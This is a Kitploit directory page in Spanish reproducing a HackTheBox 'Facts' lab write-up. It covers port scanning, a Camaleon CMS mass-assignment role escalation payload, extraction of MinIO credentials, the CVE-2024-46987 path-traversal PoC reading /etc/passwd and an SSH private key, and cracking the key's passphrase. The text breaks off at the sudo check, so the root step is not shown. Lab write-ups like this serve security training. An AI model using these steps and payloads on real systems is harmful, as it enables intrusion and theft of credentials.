Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HackTheBox-Facts — HTB Facts es una máquina Linux fácil que presenta Camaleon CMS y MinIO. Obtén acceso de administrador mediante registro abierto y una vulnerabilidad de asignación masiva, luego extrae credenciales de MinIO desde la configuración de administrador. Usa el path traversal CVE-2024-46987 para robar una clave privada SSH, descifrar su frase de contraseña y escalar a root abusando de los permisos sudo en facter mediante GTFOBins. | Kitploit
Herramientas/GitHubGitHub/suriyaboon/hackthebox-facts
Escalada de PrivilegiosReconocimientoAtaques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónSeguridad en la Nube

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

HTB Facts es una máquina Linux fácil que presenta Camaleon CMS y MinIO. Obtén acceso de administrador mediante registro abierto y una vulnerabilidad de asignación masiva, luego extrae credenciales de MinIO desde la configuración de administrador. Usa el path traversal CVE-2024-46987 para robar una clave privada SSH, descifrar su frase de contraseña y escalar a root abusando de los permisos sudo en facter mediante GTFOBins.

Aprendizaje y Educación
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Ver Repositorio
20hace 16 díasAún no revisado
Compartir

HTB Facts — Writeup Completo

SO: Linux
Etiquetas: Web, MinIO, Camaleon CMS, Path Traversal, Escalada de Privilegios


Tabla de Contenidos

  1. Reconocimiento
  2. Enumeración Web — Puerto 80
  3. Descubrimiento de MinIO — Puerto 54321
  4. Camaleon CMS — Acceso de Administrador
  5. Escalada de Privilegios al Rol de Administrador
  6. Descubrimiento de Credenciales de MinIO
  7. Lectura Arbitraria de Archivos — CVE-2024-46987
  8. Acceso SSH como trivia
  9. Escalada de Privilegios a Root
  10. Flags

Reconocimiento

Comenzar con un escaneo completo de puertos TCP para identificar los servicios abiertos.

nmap -p- --min-rate 5000 -T4 10.129.244.96

Resultados:

PuertoServicioNotas
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321DesconocidoIdentificado como MinIO

Añadir el objetivo a /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

Enumeración Web — Puerto 80

Al navegar a http://facts.htb se revela un sitio web de trivia construido sobre Camaleon CMS (Ruby on Rails). Indicadores clave:

  • Nombre de la cookie: _factsapp_session (sesión de Rails)
  • Rutas de recursos: /assets/themes/camaleon_first/
  • Token CSRF en metaetiquetas
  • Servidor: nginx/1.26.3 (Ubuntu)

Enumerar el sitemap para todas las páginas disponibles:

curl -s http://facts.htb/sitemap.xml

Rutas notables descubiertas:

  • /admin → redirige a /admin/login
  • /rss
  • Varias páginas de trivia: /animal-ejected, /anne-frank, etc.

Comprobar el panel de inicio de sesión de administrador:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

Descubrimiento de MinIO — Puerto 54321

Sondear el puerto desconocido con curl revela MinIO, un servicio de almacenamiento de objetos compatible con S3:

curl -v http://facts.htb:54321

Respuesta:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Las cabeceras confirman: Server: MinIO

Sondear posibles nombres de buckets (una respuesta 403 por sí sola no confirma que un bucket exista):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Todos devuelven 403 Forbidden — los buckets existen pero requieren credenciales.


Camaleon CMS — Acceso de Administrador

Identificación del CMS

A partir de las rutas de recursos y la cookie de sesión, el CMS se identifica como Camaleon CMS.

Comprobar vulnerabilidades conocidas:

searchsploit camaleon

Resultados:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

La versión del panel de administración se confirma como 2.9.0 (visible en el pie de página tras iniciar sesión).

Creación de una Cuenta

La página de inicio de sesión de administrador en http://facts.htb/admin/login incluye un enlace "Create an account". Registrar una nueva cuenta:

  • Navegar a http://facts.htb/admin/users/sign_up
  • Rellenar con credenciales válidas cualesquiera (p. ej., test123 / test123)
  • Enviar — esto crea una cuenta con rol Client

Tras el registro, iniciar sesión en el panel de administración. La cuenta tiene privilegios limitados de Client.


Escalada de Privilegios al Rol de Administrador

Vulnerabilidad de Asignación Masiva

Camaleon CMS es vulnerable a un ataque de asignación masiva en el endpoint de cambio de contraseña. Al interceptar la solicitud de cambio de contraseña e inyectar un parámetro password[role], un atacante puede escalar su propio rol a admin.

Pasos usando Burp Suite:

  1. Iniciar sesión en el panel de administración con la cuenta Client.
  2. Navegar a Profile → Edit → Change Password.
  3. Introducir cualquier contraseña nueva y hacer clic en Process.
  4. Interceptar la solicitud POST en Burp Suite.
  5. Añadir &password[role]=admin al cuerpo de la solicitud:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Reenviar la solicitud — la respuesta debería ser 200 OK.
  2. Iniciar sesión de nuevo con las credenciales actualizadas.

La cuenta ahora tiene privilegios de admin, otorgando acceso completo al panel de administración del CMS, incluyendo Settings, Media y Filesystem Settings.


Descubrimiento de Credenciales de MinIO

Con acceso de administrador, navegar a:

Settings → General Site → Filesystem Settings

La página revela credenciales de MinIO (compatible con AWS S3) hardcodeadas:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configurar AWS CLI y enumerar los buckets:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Buckets descubiertos:

2025-09-11  internal
2025-09-11  randomfacts

El bucket internal contiene el directorio home del usuario trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Lectura Arbitraria de Archivos — CVE-2024-46987

Alternativamente, la clave privada SSH puede obtenerse mediante CVE-2024-46987, una vulnerabilidad de path traversal autenticada en Camaleon CMS que permite leer archivos arbitrarios del servidor.

Clonar el PoC público:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Leer archivos sensibles:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Salida (líneas relevantes):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Se identifican dos usuarios: trivia y william. Dado que trivia tiene un shell de inicio de sesión y un directorio home, comprobar si existe una clave privada SSH:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Guardar la salida de la clave en un archivo:

chmod 600 id_ed25519

Acceso SSH como trivia

Descifrado de la Frase de Contraseña de la Clave SSH

La clave privada SSH está cifrada con una frase de contraseña. Usar ssh2john y john para descifrarla:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Frase de contraseña descifrada: dragonballz

Inicio de Sesión vía SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Obtener la flag de usuario:

cat /home/william/user.txt

Escalada de Privilegios a Root

Permisos de Sudo

Comprobar los privilegios de sudo para el usuario trivia:

sudo -l

Salida:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
Descargar herramienta